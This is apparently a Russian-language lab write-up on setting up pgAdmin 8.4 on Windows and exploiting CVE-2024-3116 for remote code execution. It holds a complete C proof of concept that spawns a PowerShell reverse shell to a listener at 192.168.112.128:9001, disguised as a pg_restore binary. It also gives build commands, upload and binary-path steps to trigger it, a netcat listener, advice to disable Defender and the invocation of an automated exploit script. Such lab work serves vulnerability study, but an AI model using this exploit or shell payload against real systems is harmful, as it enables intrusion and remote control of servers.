
Создание лаборатории и тестирование CVE-2024-3116 — удалённое выполнение кода в pgadmin <=8.4
Создание лабораторного стенда и тестирование CVE-2024-3116 — удалённое выполнение кода в pgadmin <=8.4
В качестве основы я использовал эту статью.
Прежде всего, небольшое замечание: документация pgadmin довольно плохая, и я не нашёл ни одного упоминания об установке pgadmin на Windows...
python -m pip install -U pippython -m pip install wheelpython -m pip install C:\Users\User\Downloads\pgadmin4-8.4-py3-none-any.whl
C:\Users\User\AppData\Local\Programs\Python\Python310\Lib\site-packages\pgadmin4C:\Users\User\AppData\Local\Programs\Python\Python310\Lib\site-packages\pgadmin4\config_local.py добавляем следующую строку:LOG_FILE = r'C:\Users\User\pgadmin4\log\pgadmin4.log'
SQLITE_PATH = r'C:\Users\User\pgadmin4\pgadmin4.db'
SESSION_DB_PATH = r'C:\Users\User\pgadmin4\sessions'
STORAGE_DIR = r'C:\Users\User\pgadmin4\storage'
SERVER_MODE = True
C:\Users\User\AppData\Roaming\pgAdmin (необходима для setup.py)python site-packages/pgadmin4/setup.py setup-db, я указал Email = [email protected] и Password = password (эти email и пароль важны, потому что они нужны для входа в pgadmin)Затем веб-сервер:
MOD_WSGI_APACHE_ROOTDIR = C:/xampp/apachepip install mod-wsgimod_wsgi-express module-confighttpd.conf apachemod_wsgi-express start-server .\pgAdmin4.wsgi (должен быть доступен на порту 8000)Я буду эксплуатировать уязвимость с машины Kali, которая находится в той же сети, что и pgadmin.
Ещё раз: этот эксплойт работает только против pgadmin на Windows! И для эксплуатации этой уязвимости необходима учётная запись действительного пользователя!
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]) {
if (argc > 1 && strcmp(argv[1], "--version") == 0) {
system("powershell -nop -c \"$client = New-Object System.Net.Sockets.TCPClient('192.168.112.128',9001);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\"");
} else {
printf("Usage: %s --version\n", argv[0]);
}
return 0;
}
sudo apt-get install mingw-w64x86_64-w64-mingw32-gcc -o pg_restore poc.c

Tools > Import/Export Servers > «клик по иконке маленькой папки» > «клик по трём точкам в правом верхнем углу окна выбора файла и выбираем upload» > «выбираем бинарный PoC»

nc -lvnp 9001) для приёма отклика: ВАЖНО!!!!!!!!! Defender заблокирует выполнение бинарного файла (так что отключите Defender)File > Preferences > Binary Paths, добавляем путь, полученный в ответе на загрузку файла, в текстовое поле напротив postgresql 16, и наконец нажимаем на иконку в текстовом поле, чтобы запустить PoC
Я написал python-скрипт для автоматической эксплуатации этой уязвимости — почти ничего делать не нужно.
Что нужно знать перед использованием скрипта:
pip install selenium)sudo apt-get install mingw-w64nc -lvnp <port>)Для использования эксплойта выполните команду:
python exploit_cve_2024_3116.py --email <pgadmin_user_email> --password <pgadmin_user_pass> --rhost <http://target_ip_or_domain> --rport <target_port> --lhost <listener_ip> --lport <listener_port>
Небольшая демонстрация: https://youtu.be/zdMC3kbN0Is
Все эти ссылки помогли мне установить pgadmin на Windows:

